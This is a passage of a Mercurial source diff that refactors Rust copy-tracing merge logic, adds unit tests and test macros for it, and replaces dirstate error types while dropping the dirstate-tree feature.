from `add_revsion` so that unit tests can call this + /// without synthetizing a `ChangedFiles` in binary format. + fn add_revision_inner<'a>( + &mut self, + rev: Revision, + p1: Revision, + p2: Revision, + copy_actions: impl Iterator>, + get_merge_case: impl Fn(&HgPath) -> MergeCase + Copy, + ) { + // Retrieve data computed in a previous iteration + let p1_copies = match p1 { + NULL_REVISION => None, + _ => get_and_clean_parent_copies( + &mut self.all_copies, + &mut self.children_count, + p1, + ), // will be None if the vertex is not to be traversed + }; + let p2_copies = match p2 { + NULL_REVISION => None, + _ => get_and_clean_parent_copies( + &mut self.all_copies, + &mut self.children_count, + p2, + ), // will be None if the vertex is not to be traversed + }; + // combine it with data for that revision + let (p1_copies, p2_copies) = chain_changes( + &mut self.path_map, + p1_copies, + p2_copies, + copy_actions, + rev, + ); + let copies = match (p1_copies, p2_copies) { + (None, None) => None, + (c, None) => c, + (None, c) => c, + (Some(p1_copies), Some(p2_copies)) => Some(merge_copies_dict( + &self.path_map, + rev, + p2_copies, + p1_copies, + get_merge_case, + )), + }; + if let Some(c) = copies { + self.all_copies.insert(rev, c); } } - result + + /// Drop intermediate data (such as which revision a copy was from) and + /// return the final mapping. + pub fn finish(mut self, target_rev: Revision) -> PathCopies { + let tt_result = self + .all_copies + .remove(&target_rev) + .expect("target revision was not processed"); + let mut result = PathCopies::default(); + for (dest, tt_source) in tt_result { + if let Some(path) = tt_source.path { + let path_dest = self.path_map.untokenize(dest).to_owned(); + let path_path = self.path_map.untokenize(path).to_owned(); + result.insert(path_dest, path_path); + } + } + result + } } /// fetch previous computed information @@ -471,68 +389,67 @@ /// /// If parent is not part of the set we are expected to walk, return None. fn get_and_clean_parent_copies( - all_copies: &mut HashMap, + all_copies: &mut HashMap, children_count: &mut HashMap, parent_rev: Revision, -) -> Option { +) -> Option { let count = children_count.get_mut(&parent_rev)?; *count -= 1; if *count == 0 { match all_copies.remove(&parent_rev) { Some(c) => Some(c), - None => Some(TimeStampedPathCopies::default()), + None => Some(InternalPathCopies::default()), } } else { match all_copies.get(&parent_rev) { Some(c) => Some(c.clone()), - None => Some(TimeStampedPathCopies::default()), + None => Some(InternalPathCopies::default()), } } } /// Combine ChangedFiles with some existing PathCopies information and return /// the result -fn add_from_changes bool>( +fn chain_changes<'a>( path_map: &mut TwoWayPathMap, - oracle: &mut AncestorOracle, - base_copies: &TimeStampedPathCopies, - changes: &ChangedFiles, - parent: Parent, + base_p1_copies: Option, + base_p2_copies: Option, + copy_actions: impl Iterator>, current_rev: Revision, -) -> TimeStampedPathCopies { - let mut copies = base_copies.clone(); - for action in changes.iter_actions(parent) { +) -> (Option, Option) { + // Fast path the "nothing to do" case. + if let (None, None) = (&base_p1_copies, &base_p2_copies) { + return (None, None); + } + + let mut p1_copies = base_p1_copies.clone(); + let mut p2_copies = base_p2_copies.clone(); + for action in copy_actions { match action { - Action::Copied(path_dest, path_source) => { - let dest = path_map.tokenize(path_dest); - let source = path_map.tokenize(path_source); - let entry; - if let Some(v) = base_copies.get(&source) { - entry = match &v.path { - Some(path) => Some((*(path)).to_owned()), - None => Some(source.to_owned()), - } - } else { - entry = Some(source.to_owned()); + Action::CopiedFromP1(path_dest, path_source) => { + match &mut p1_copies { + None => (), // This is not a vertex we should proceed. + Some(copies) => add_one_copy( + current_rev, + path_map, + copies, + base_p1_copies.as_ref().unwrap(), + path_dest, + path_source, + ), } - // Each new entry is introduced by the children, we - // record this information as we will need it to take - // the right decision when merging conflicting copy - // information. See merge_copies_dict for details. - match copies.entry(dest) { - Entry::Vacant(slot) => { - let ttpc = TimeStampedPathCopy { - rev: current_rev, - path: entry, - }; - slot.insert(ttpc); - } - Entry::Occupied(mut slot) => { - let mut ttpc = slot.get_mut(); - oracle.record_overwrite(ttpc.rev, current_rev); - ttpc.rev = current_rev; - ttpc.path = entry; - } + } + Action::CopiedFromP2(path_dest, path_source) => { + match &mut p2_copies { + None => (), // This is not a vertex we should proceed. + Some(copies) => add_one_copy( + current_rev, + path_map, + copies, + base_p2_copies.as_ref().unwrap(), + path_dest, + path_source, + ), } } Action::Removed(deleted_path) => { @@ -540,164 +457,131 @@ // // We need to explicitly record them as dropped to // propagate this information when merging two - // TimeStampedPathCopies object. + // InternalPathCopies object. let deleted = path_map.tokenize(deleted_path); - copies.entry(deleted).and_modify(|old| { - oracle.record_overwrite(old.rev, current_rev); - old.rev = current_rev; - old.path = None; - }); + + let p1_entry = match &mut p1_copies { + None => None, + Some(copies) => match copies.entry(deleted) { + Entry::Occupied(e) => Some(e), + Entry::Vacant(_) => None, + }, + }; + let p2_entry = match &mut p2_copies { + None => None, + Some(copies) => match copies.entry(deleted) { + Entry::Occupied(e) => Some(e), + Entry::Vacant(_) => None, + }, + }; + + match (p1_entry, p2_entry) { + (None, None) => (), + (Some(mut e), None) => { + e.get_mut().mark_delete(current_rev) + } + (None, Some(mut e)) => { + e.get_mut().mark_delete(current_rev) + } + (Some(mut e1), Some(mut e2)) => { + let cs1 = e1.get_mut(); + let cs2 = e2.get(); + if cs1 == cs2 { + cs1.mark_delete(current_rev); + } else { + cs1.mark_delete_with_pair(current_rev, &cs2); + } + e2.insert(cs1.clone()); + } + } } } } - copies + (p1_copies, p2_copies) +} + +// insert one new copy information in an InternalPathCopies +// +// This deal with chaining and overwrite. +fn add_one_copy( + current_rev: Revision, + path_map: &mut TwoWayPathMap, + copies: &mut InternalPathCopies, + base_copies: &InternalPathCopies, + path_dest: &HgPath, + path_source: &HgPath, +) { + let dest = path_map.tokenize(path_dest); + let source = path_map.tokenize(path_source); + let entry; + if let Some(v) = base_copies.get(&source) { + entry = match &v.path { + Some(path) => Some((*(path)).to_owned()), + None => Some(source.to_owned()), + } + } else { + entry = Some(source.to_owned()); + } + // Each new entry is introduced by the children, we + // record this information as we will need it to take + // the right decision when merging conflicting copy + // information. See merge_copies_dict for details. + match copies.entry(dest) { + Entry::Vacant(slot) => { + let ttpc = CopySource::new(current_rev, entry); + slot.insert(ttpc); + } + Entry::Occupied(mut slot) => { + let ttpc = slot.get_mut(); + ttpc.overwrite(current_rev, entry); + } + } } /// merge two copies-mapping together, minor and major /// /// In case of conflict, value from "major" will be picked, unless in some /// cases. See inline documentation for details. -fn merge_copies_dict bool>( +fn merge_copies_dict( path_map: &TwoWayPathMap, current_merge: Revision, - mut minor: TimeStampedPathCopies, - mut major: TimeStampedPathCopies, - changes: &ChangedFiles, - oracle: &mut AncestorOracle, -) -> TimeStampedPathCopies { - // This closure exist as temporary help while multiple developper are - // actively working on this code. Feel free to re-inline it once this - // code is more settled. - let mut cmp_value = - |dest: &PathToken, - src_minor: &TimeStampedPathCopy, - src_major: &TimeStampedPathCopy| { - compare_value( - path_map, - current_merge, - changes, - oracle, - dest, - src_minor, - src_major, - ) - }; - if minor.is_empty() { - major - } else if major.is_empty() { - minor - } else if minor.len() * 2 < major.len() { - // Lets says we are merging two TimeStampedPathCopies instance A and B. - // - // If A contains N items, the merge result will never contains more - // than N values differents than the one in A - // - // If B contains M items, with M > N, the merge result will always - // result in a minimum of M - N value differents than the on in - // A - // - // As a result, if N < (M-N), we know that simply iterating over A will - // yield less difference than iterating over the difference - // between A and B. - // - // This help performance a lot in case were a tiny - // TimeStampedPathCopies is merged with a much larger one. - for (dest, src_minor) in minor { - let src_major = major.get(&dest); - match src_major { - None => major.insert(dest, src_minor), - Some(src_major) => { - match cmp_value(&dest, &src_minor, src_major) { - MergePick::Any | MergePick::Major => None, - MergePick::Minor => major.insert(dest, src_minor), - } - } + minor: InternalPathCopies, + major: InternalPathCopies, + get_merge_case: impl Fn(&HgPath) -> MergeCase + Copy, +) -> InternalPathCopies { + use crate::utils::{ordmap_union_with_merge, MergeResult}; + + ordmap_union_with_merge(minor, major, |&dest, src_minor, src_major| { + let (pick, overwrite) = compare_value( + current_merge, + || get_merge_case(path_map.untokenize(dest)), + src_minor, + src_major, + ); + if overwrite { + let (winner, loser) = match pick { + MergePick::Major | MergePick::Any => (src_major, src_minor), + MergePick::Minor => (src_minor, src_major), }; - } - major - } else if major.len() * 2 < minor.len() { - // This use the same rational than the previous block. - // (Check previous block documentation for details.) - for (dest, src_major) in major { - let src_minor = minor.get(&dest); - match src_minor { - None => minor.insert(dest, src_major), - Some(src_minor) => { - match cmp_value(&dest, src_minor, &src_major) { - MergePick::Any | MergePick::Minor => None, - MergePick::Major => minor.insert(dest, src_major), - } + MergeResult::UseNewValue(CopySource::new_from_merge( + current_merge, + winner, + loser, + )) + } else { + match pick { + MergePick::Any | MergePick::Major => { + MergeResult::UseRightValue } - }; - } - minor - } else { - let mut override_minor = Vec::new(); - let mut override_major = Vec::new(); - - let mut to_major = |k: &PathToken, v: &TimeStampedPathCopy| { - override_major.push((k.clone(), v.clone())) - }; - let mut to_minor = |k: &PathToken, v: &TimeStampedPathCopy| { - override_minor.push((k.clone(), v.clone())) - }; - - // The diff function leverage detection of the identical subpart if - // minor and major has some common ancestors. This make it very - // fast is most case. - // - // In case where the two map are vastly different in size, the current - // approach is still slowish because the iteration will iterate over - // all the "exclusive" content of the larger on. This situation can be - // frequent when the subgraph of revision we are processing has a lot - // of roots. Each roots adding they own fully new map to the mix (and - // likely a small map, if the path from the root to the "main path" is - // small. - // - // We could do better by detecting such situation and processing them - // differently. - for d in minor.diff(&major) { - match d { - DiffItem::Add(k, v) => to_minor(k, v), - DiffItem::Remove(k, v) => to_major(k, v), - DiffItem::Update { old, new } => { - let (dest, src_major) = new; - let (_, src_minor) = old; - match cmp_value(dest, src_minor, src_major) { - MergePick::Major => to_minor(dest, src_major), - MergePick::Minor => to_major(dest, src_minor), - // If the two entry are identical, no need to do - // anything (but diff should not have yield them) - MergePick::Any => unreachable!(), - } - } - }; - } - - let updates; - let mut result; - if override_major.is_empty() { - result = major - } else if override_minor.is_empty() { - result = minor - } else { - if override_minor.len() < override_major.len() { - updates = override_minor; - result = minor; - } else { - updates = override_major; - result = major; - } - for (k, v) in updates { - result.insert(k, v); + MergePick::Minor => MergeResult::UseLeftValue, } } - result - } + }) } /// represent the side that should prevail when merging two -/// TimeStampedPathCopies +/// InternalPathCopies +#[derive(Debug, PartialEq)] enum MergePick { /// The "major" (p1) side prevails Major, @@ -709,89 +593,88 @@ /// decide which side prevails in case of conflicting values #[allow(clippy::if_same_then_else)] -fn compare_value bool>( - path_map: &TwoWayPathMap, +fn compare_value( current_merge: Revision, - changes: &ChangedFiles, - oracle: &mut AncestorOracle, - dest: &PathToken, - src_minor: &TimeStampedPathCopy, - src_major: &TimeStampedPathCopy, -) -> MergePick { - if src_major.rev == current_merge { - if src_minor.rev == current_merge { - if src_major.path.is_none() { - // We cannot get different copy information for both p1 and p2 - // from the same revision. Unless this was a - // deletion - MergePick::Any - } else { - unreachable!(); - } - } else { - // The last value comes the current merge, this value -will- win - // eventually. - oracle.record_overwrite(src_minor.rev, src_major.rev); - MergePick::Major - } + merge_case_for_dest: impl Fn() -> MergeCase, + src_minor: &CopySource, + src_major: &CopySource, +) -> (MergePick, bool) { + if src_major == src_minor { + (MergePick::Any, false) + } else if src_major.rev == current_merge { + // minor is different according to per minor == major check earlier + debug_assert!(src_minor.rev != current_merge); + + // The last value comes the current merge, this value -will- win + // eventually. + (MergePick::Major, true) } else if src_minor.rev == current_merge { // The last value comes the current merge, this value -will- win // eventually. - oracle.record_overwrite(src_major.rev, src_minor.rev); - MergePick::Minor + (MergePick::Minor, true) } else if src_major.path == src_minor.path { + debug_assert!(src_major.rev != src_major.rev); // we have the same value, but from other source; - if src_major.rev == src_minor.rev { - // If the two entry are identical, they are both valid - MergePick::Any - } else if oracle.is_overwrite(src_major.rev, src_minor.rev) { - MergePick::Minor + if src_major.is_overwritten_by(src_minor) { + (MergePick::Minor, false) + } else if src_minor.is_overwritten_by(src_major) { + (MergePick::Major, false) } else { - MergePick::Major + (MergePick::Any, true) } - } else if src_major.rev == src_minor.rev { - // We cannot get copy information for both p1 and p2 in the - // same rev. So this is the same value. - unreachable!( - "conflict information from p1 and p2 in the same revision" - ); } else { - let dest_path = path_map.untokenize(*dest); - let action = changes.get_merge_case(dest_path); - if src_major.path.is_none() && action == MergeCase::Salvaged { + debug_assert!(src_major.rev != src_major.rev); + let action = merge_case_for_dest(); + if src_minor.path.is_some() + && src_major.path.is_none() + && action == MergeCase::Salvaged + { // If the file is "deleted" in the major side but was // salvaged by the merge, we keep the minor side alive - MergePick::Minor - } else if src_minor.path.is_none() && action == MergeCase::Salvaged { + (MergePick::Minor, true) + } else if src_major.path.is_some() + && src_minor.path.is_none() + && action == MergeCase::Salvaged + { // If the file is "deleted" in the minor side but was // salvaged by the merge, unconditionnaly preserve the // major side. - MergePick::Major - } else if action == MergeCase::Merged { - // If the file was actively merged, copy information - // from each side might conflict. The major side will - // win such conflict. - MergePick::Major - } else if oracle.is_overwrite(src_major.rev, src_minor.rev) { - // If the minor side is strictly newer than the major - // side, it should be kept. - MergePick::Minor - } else if src_major.path.is_some() { - // without any special case, the "major" value win - // other the "minor" one. - MergePick::Major - } else if oracle.is_overwrite(src_minor.rev, src_major.rev) { - // the "major" rev is a direct ancestors of "minor", - // any different value should - // overwrite - MergePick::Major + (MergePick::Major, true) + } else if src_minor.is_overwritten_by(src_major) { + // The information from the minor version are strictly older than + // the major version + if action == MergeCase::Merged { + // If the file was actively merged, its means some non-copy + // activity happened on the other branch. It + // mean the older copy information are still relevant. + // + // The major side wins such conflict. + (MergePick::Major, true) + } else { + // No activity on the minor branch, pick the newer one. + (MergePick::Major, false) + } + } else if src_major.is_overwritten_by(src_minor) { + if action == MergeCase::Merged { + // If the file was actively merged, its means some non-copy + // activity happened on the other branch. It + // mean the older copy information are still relevant. + // + // The major side wins such conflict. + (MergePick::Major, true) + } else { + // No activity on the minor branch, pick the newer one. + (MergePick::Minor, false) + } + } else if src_minor.path.is_none() { + // the minor side has no relevant information, pick the alive one + (MergePick::Major, true) + } else if src_major.path.is_none() { + // the major side has no relevant information, pick the alive one + (MergePick::Minor, true) } else { - // major version is None (so the file was deleted on - // that branch) and that branch is independant (neither - // minor nor major is an ancestors of the other one.) - // We preserve the new - // information about the new file. - MergePick::Minor + // by default the major side wins + (MergePick::Major, true) } } } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/copy_tracing/tests.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/hg-core/src/copy_tracing/tests.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,141 @@ +use super::*; + +/// Unit tests for: +/// +/// ```ignore +/// fn compare_value( +/// current_merge: Revision, +/// merge_case_for_dest: impl Fn() -> MergeCase, +/// src_minor: &CopySource, +/// src_major: &CopySource, +/// ) -> (MergePick, /* overwrite: */ bool) +/// ``` +#[test] +fn test_compare_value() { + // The `compare_value!` macro calls the `compare_value` function with + // arguments given in pseudo-syntax: + // + // * For `merge_case_for_dest` it takes a plain `MergeCase` value instead + // of a closure. + // * `CopySource` values are represented as `(rev, path, overwritten)` + // tuples of type `(Revision, Option, OrdSet)`. + // * `PathToken` is an integer not read by `compare_value`. It only checks + // for `Some(_)` indicating a file copy v.s. `None` for a file deletion. + // * `OrdSet` is represented as a Python-like set literal. + + use MergeCase::*; + use MergePick::*; + + assert_eq!( + compare_value!(1, Normal, (1, None, { 1 }), (1, None, { 1 })), + (Any, false) + ); +} + +/// Unit tests for: +/// +/// ```ignore +/// fn merge_copies_dict( +/// path_map: &TwoWayPathMap, // Not visible in test cases +/// current_merge: Revision, +/// minor: InternalPathCopies, +/// major: InternalPathCopies, +/// get_merge_case: impl Fn(&HgPath) -> MergeCase + Copy, +/// ) -> InternalPathCopies +/// ``` +#[test] +fn test_merge_copies_dict() { + // The `merge_copies_dict!` macro calls the `merge_copies_dict` function + // with arguments given in pseudo-syntax: + // + // * `TwoWayPathMap` and path tokenization are implicitly taken care of. + // All paths are given as string literals. + // * Key-value maps are represented with `{key1 => value1, key2 => value2}` + // pseudo-syntax. + // * `InternalPathCopies` is a map of copy destination path keys to + // `CopySource` values. + // - `CopySource` is represented as a `(rev, source_path, overwritten)` + // tuple of type `(Revision, Option, OrdSet)`. + // - Unlike in `test_compare_value`, source paths are string literals. + // - `OrdSet` is again represented as a Python-like set + // literal. + // * `get_merge_case` is represented as a map of copy destination path to + // `MergeCase`. The default for paths not in the map is + // `MergeCase::Normal`. + // + // `internal_path_copies!` creates an `InternalPathCopies` value with the + // same pseudo-syntax as in `merge_copies_dict!`. + + use MergeCase::*; + + assert_eq!( + merge_copies_dict!( + 1, + {"foo" => (1, None, {})}, + {}, + {"foo" => Merged} + ), + internal_path_copies!("foo" => (1, None, {})) + ); +} + +/// Unit tests for: +/// +/// ```ignore +/// impl CombineChangesetCopies { +/// fn new(children_count: HashMap) -> Self +/// +/// // Called repeatedly: +/// fn add_revision_inner<'a>( +/// &mut self, +/// rev: Revision, +/// p1: Revision, +/// p2: Revision, +/// copy_actions: impl Iterator>, +/// get_merge_case: impl Fn(&HgPath) -> MergeCase + Copy, +/// ) +/// +/// fn finish(mut self, target_rev: Revision) -> PathCopies +/// } +/// ``` +#[test] +fn test_combine_changeset_copies() { + // `combine_changeset_copies!` creates a `CombineChangesetCopies` with + // `new`, then calls `add_revision_inner` repeatedly, then calls `finish` + // for its return value. + // + // All paths given as string literals. + // + // * Key-value maps are represented with `{key1 => value1, key2 => value2}` + // pseudo-syntax. + // * `children_count` is a map of revision numbers to count of children in + // the DAG. It includes all revisions that should be considered by the + // algorithm. + // * Calls to `add_revision_inner` are represented as an array of anonymous + // structs with named fields, one pseudo-struct per call. + // + // `path_copies!` creates a `PathCopies` value, a map of copy destination + // keys to copy source values. Note: the arrows for map literal syntax + // point **backwards** compared to the logical direction of copy! + + use crate::NULL_REVISION as NULL; + use Action::*; + use MergeCase::*; + + assert_eq!( + combine_changeset_copies!( + { 1 => 1, 2 => 1 }, + [ + { rev: 1, p1: NULL, p2: NULL, actions: [], merge_cases: {}, }, + { rev: 2, p1: NULL, p2: NULL, actions: [], merge_cases: {}, }, + { + rev: 3, p1: 1, p2: 2, + actions: [CopiedFromP1("destination.txt", "source.txt")], + merge_cases: {"destination.txt" => Merged}, + }, + ], + 3, + ), + path_copies!("destination.txt" => "source.txt") + ); +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/copy_tracing/tests_support.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/hg-core/src/copy_tracing/tests_support.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,199 @@ +//! Supporting macros for `tests.rs` in the same directory. +//! See comments there for usage. + +/// Python-like set literal +macro_rules! set { + ( + $Type: ty { + $( $value: expr ),* $(,)? + } + ) => {{ + #[allow(unused_mut)] + let mut set = <$Type>::new(); + $( set.insert($value); )* + set + }} +} + +/// `{key => value}` map literal +macro_rules! map { + ( + $Type: ty { + $( $key: expr => $value: expr ),* $(,)? + } + ) => {{ + #[allow(unused_mut)] + let mut set = <$Type>::new(); + $( set.insert($key, $value); )* + set + }} +} + +macro_rules! copy_source { + ($rev: expr, $path: expr, $overwritten: tt) => { + CopySource { + rev: $rev, + path: $path, + overwritten: set!(OrdSet $overwritten), + } + }; +} + +macro_rules! compare_value { + ( + $merge_revision: expr, + $merge_case_for_dest: ident, + ($min_rev: expr, $min_path: expr, $min_overwrite: tt), + ($maj_rev: expr, $maj_path: expr, $maj_overwrite: tt) $(,)? + ) => { + compare_value( + $merge_revision, + || $merge_case_for_dest, + ©_source!($min_rev, $min_path, $min_overwrite), + ©_source!($maj_rev, $maj_path, $maj_overwrite), + ) + }; +} + +macro_rules! tokenized_path_copies { + ( + $path_map: ident, {$( + $dest: expr => ( + $src_rev: expr, + $src_path: expr, + $src_overwrite: tt + ) + ),*} + $(,)* + ) => { + map!(InternalPathCopies {$( + $path_map.tokenize(HgPath::new($dest)) => + copy_source!( + $src_rev, + Option::map($src_path, |p: &str| { + $path_map.tokenize(HgPath::new(p)) + }), + $src_overwrite + ) + )*}) + } +} + +macro_rules! merge_case_callback { + ( + $( $merge_path: expr => $merge_case: ident ),* + $(,)? + ) => { + #[allow(unused)] + |merge_path| -> MergeCase { + $( + if (merge_path == HgPath::new($merge_path)) { + return $merge_case + } + )* + MergeCase::Normal + } + }; +} + +macro_rules! merge_copies_dict { + ( + $current_merge: expr, + $minor_copies: tt, + $major_copies: tt, + $get_merge_case: tt $(,)? + ) => { + { + #[allow(unused_mut)] + let mut map = TwoWayPathMap::default(); + let minor = tokenized_path_copies!(map, $minor_copies); + let major = tokenized_path_copies!(map, $major_copies); + merge_copies_dict( + &map, $current_merge, minor, major, + merge_case_callback! $get_merge_case, + ) + .into_iter() + .map(|(token, source)| { + ( + map.untokenize(token).to_string(), + ( + source.rev, + source.path.map(|t| map.untokenize(t).to_string()), + source.overwritten.into_iter().collect(), + ), + ) + }) + .collect::>() + } + }; +} + +macro_rules! internal_path_copies { + ( + $( + $dest: expr => ( + $src_rev: expr, + $src_path: expr, + $src_overwrite: tt $(,)? + ) + ),* + $(,)* + ) => { + map!(OrdMap<_, _> {$( + String::from($dest) => ( + $src_rev, + $src_path, + set!(OrdSet $src_overwrite) + ) + ),*}) + }; +} + +macro_rules! combine_changeset_copies { + ( + $children_count: tt, + [ + $( + { + rev: $rev: expr, + p1: $p1: expr, + p2: $p2: expr, + actions: [ + $( + $Action: ident($( $action_path: expr ),+) + ),* + $(,)? + ], + merge_cases: $merge: tt + $(,)? + } + ),* + $(,)? + ], + $target_rev: expr $(,)* + ) => {{ + let count = map!(HashMap $children_count); + let mut combine_changeset_copies = CombineChangesetCopies::new(count); + $( + let actions = vec![$( + $Action($( HgPath::new($action_path) ),*) + ),*]; + combine_changeset_copies.add_revision_inner( + $rev, $p1, $p2, actions.into_iter(), + merge_case_callback! $merge + ); + )* + combine_changeset_copies.finish($target_rev) + }}; +} + +macro_rules! path_copies { + ( + $( $expected_destination: expr => $expected_source: expr ),* $(,)? + ) => { + map!(PathCopies {$( + HgPath::new($expected_destination).to_owned() + => HgPath::new($expected_source).to_owned(), + ),*}) + }; +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate.rs --- a/rust/hg-core/src/dirstate.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/dirstate.rs Tue Apr 20 11:01:06 2021 -0400 @@ -5,21 +5,23 @@ // This software may be used and distributed according to the terms of the // GNU General Public License version 2 or any later version. -use crate::{utils::hg_path::HgPathBuf, DirstateParseError, FastHashMap}; +use crate::errors::HgError; +use crate::revlog::Node; +use crate::{utils::hg_path::HgPathBuf, FastHashMap}; +use bytes_cast::{unaligned, BytesCast}; use std::collections::hash_map; use std::convert::TryFrom; pub mod dirs_multiset; pub mod dirstate_map; -#[cfg(feature = "dirstate-tree")] -pub mod dirstate_tree; pub mod parsers; pub mod status; -#[derive(Debug, PartialEq, Clone)] +#[derive(Debug, PartialEq, Clone, BytesCast)] +#[repr(C)] pub struct DirstateParents { - pub p1: [u8; 20], - pub p2: [u8; 20], + pub p1: Node, + pub p2: Node, } /// The C implementation uses all signed types. This will be an issue @@ -33,20 +35,24 @@ pub size: i32, } +#[derive(BytesCast)] +#[repr(C)] +struct RawEntry { + state: u8, + mode: unaligned::I32Be, + size: unaligned::I32Be, + mtime: unaligned::I32Be, + length: unaligned::I32Be, +} + /// A `DirstateEntry` with a size of `-2` means that it was merged from the /// other parent. This allows revert to pick the right status back during a /// merge. pub const SIZE_FROM_OTHER_PARENT: i32 = -2; -#[cfg(not(feature = "dirstate-tree"))] pub type StateMap = FastHashMap; -#[cfg(not(feature = "dirstate-tree"))] pub type StateMapIter<'a> = hash_map::Iter<'a, HgPathBuf, DirstateEntry>; -#[cfg(feature = "dirstate-tree")] -pub type StateMap = dirstate_tree::tree::Tree; -#[cfg(feature = "dirstate-tree")] -pub type StateMapIter<'a> = dirstate_tree::iter::Iter<'a>; pub type CopyMap = FastHashMap; pub type CopyMapIter<'a> = hash_map::Iter<'a, HgPathBuf, HgPathBuf>; @@ -60,7 +66,7 @@ } impl TryFrom for EntryState { - type Error = DirstateParseError; + type Error = HgError; fn try_from(value: u8) -> Result { match value { @@ -69,8 +75,8 @@ b'r' => Ok(EntryState::Removed), b'm' => Ok(EntryState::Merged), b'?' => Ok(EntryState::Unknown), - _ => Err(DirstateParseError::CorruptedEntry(format!( - "Incorrect entry state {}", + _ => Err(HgError::CorruptedRepository(format!( + "Incorrect dirstate entry state {}", value ))), } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/dirs_multiset.rs --- a/rust/hg-core/src/dirstate/dirs_multiset.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/dirstate/dirs_multiset.rs Tue Apr 20 11:01:06 2021 -0400 @@ -30,7 +30,6 @@ /// Initializes the multiset from a dirstate. /// /// If `skip_state` is provided, skips dirstate entries with equal state. - #[cfg(not(feature = "dirstate-tree"))] pub fn from_dirstate( dirstate: &StateMap, skip_state: Option, @@ -51,30 +50,6 @@ Ok(multiset) } - /// Initializes the multiset from a dirstate. - /// - /// If `skip_state` is provided, skips dirstate entries with equal state. - #[cfg(feature = "dirstate-tree")] - pub fn from_dirstate( - dirstate: &StateMap, - skip_state: Option, - ) -> Result { - let mut multiset = DirsMultiset { - inner: FastHashMap::default(), - }; - for (filename, DirstateEntry { state, .. }) in dirstate.iter() { - // This `if` is optimized out of the loop - if let Some(skip) = skip_state { - if skip != state { - multiset.add_path(filename)?; - } - } else { - multiset.add_path(filename)?; - } - } - - Ok(multiset) - } /// Initializes the multiset from a manifest. pub fn from_manifest( diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/dirstate_map.rs --- a/rust/hg-core/src/dirstate/dirstate_map.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/dirstate/dirstate_map.rs Tue Apr 20 11:01:06 2021 -0400 @@ -5,7 +5,8 @@ // This software may be used and distributed according to the terms of the // GNU General Public License version 2 or any later version. -use crate::revlog::node::NULL_NODE_ID; +use crate::errors::HgError; +use crate::revlog::node::NULL_NODE; use crate::{ dirstate::{parsers::PARENT_SIZE, EntryState, SIZE_FROM_OTHER_PARENT}, pack_dirstate, parse_dirstate, @@ -14,7 +15,7 @@ hg_path::{HgPath, HgPathBuf}, }, CopyMap, DirsMultiset, DirstateEntry, DirstateError, DirstateMapError, - DirstateParents, DirstateParseError, FastHashMap, StateMap, + DirstateParents, FastHashMap, StateMap, }; use micro_timer::timed; use std::collections::HashSet; @@ -72,8 +73,8 @@ self.non_normal_set = None; self.other_parent_set = None; self.set_parents(&DirstateParents { - p1: NULL_NODE_ID, - p2: NULL_NODE_ID, + p1: NULL_NODE, + p2: NULL_NODE, }) } @@ -253,7 +254,6 @@ ) } - #[cfg(not(feature = "dirstate-tree"))] pub fn set_non_normal_other_parent_entries(&mut self, force: bool) { if !force && self.non_normal_set.is_some() @@ -282,34 +282,6 @@ self.non_normal_set = Some(non_normal); self.other_parent_set = Some(other_parent); } - #[cfg(feature = "dirstate-tree")] - pub fn set_non_normal_other_parent_entries(&mut self, force: bool) { - if !force - && self.non_normal_set.is_some() - && self.other_parent_set.is_some() - { - return; - } - let mut non_normal = HashSet::new(); - let mut other_parent = HashSet::new(); - - for ( - filename, - DirstateEntry { - state, size, mtime, .. - }, - ) in self.state_map.iter() - { - if state != EntryState::Normal || mtime == MTIME_UNSET { - non_normal.insert(filename.to_owned()); - } - if state == EntryState::Normal && size == SIZE_FROM_OTHER_PARENT { - other_parent.insert(filename.to_owned()); - } - } - self.non_normal_set = Some(non_normal); - self.other_parent_set = Some(other_parent); - } /// Both of these setters and their uses appear to be the simplest way to /// emulate a Python lazy property, but it is ugly and unidiomatic. @@ -366,11 +338,13 @@ }; } else if file_contents.is_empty() { parents = DirstateParents { - p1: NULL_NODE_ID, - p2: NULL_NODE_ID, + p1: NULL_NODE, + p2: NULL_NODE, }; } else { - return Err(DirstateError::Parse(DirstateParseError::Damaged)); + return Err( + HgError::corrupted("Dirstate appears to be damaged").into() + ); } self.parents = Some(parents); @@ -383,10 +357,10 @@ } #[timed] - pub fn read( + pub fn read<'a>( &mut self, - file_contents: &[u8], - ) -> Result, DirstateError> { + file_contents: &'a [u8], + ) -> Result, DirstateError> { if file_contents.is_empty() { return Ok(None); } @@ -423,7 +397,6 @@ self.set_non_normal_other_parent_entries(true); Ok(packed) } - #[cfg(not(feature = "dirstate-tree"))] pub fn build_file_fold_map(&mut self) -> &FileFoldMap { if let Some(ref file_fold_map) = self.file_fold_map { return file_fold_map; @@ -439,22 +412,6 @@ self.file_fold_map = Some(new_file_fold_map); self.file_fold_map.as_ref().unwrap() } - #[cfg(feature = "dirstate-tree")] - pub fn build_file_fold_map(&mut self) -> &FileFoldMap { - if let Some(ref file_fold_map) = self.file_fold_map { - return file_fold_map; - } - let mut new_file_fold_map = FileFoldMap::default(); - - for (filename, DirstateEntry { state, .. }) in self.state_map.iter() { - if state != EntryState::Removed { - new_file_fold_map - .insert(normalize_case(&filename), filename.to_owned()); - } - } - self.file_fold_map = Some(new_file_fold_map); - self.file_fold_map.as_ref().unwrap() - } } #[cfg(test)] diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/dirstate/dirstate_tree.rs --- a/rust/hg-core/src/dirstate/dirstate_tree.rs Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,14 +0,0 @@ -// dirstate_tree.rs -// -// Copyright 2020, Raphaël Gomès -// -// This software may be used and distributed according to the terms of the -// GNU General Public License version 2 or any later version. - -//! Special-case radix tree that matches a filesystem hierarchy for use in the -//! dirstate. -//! It has not been optimized at all yet. - -pub mod iter; -pub mod node; -pub mod tree; 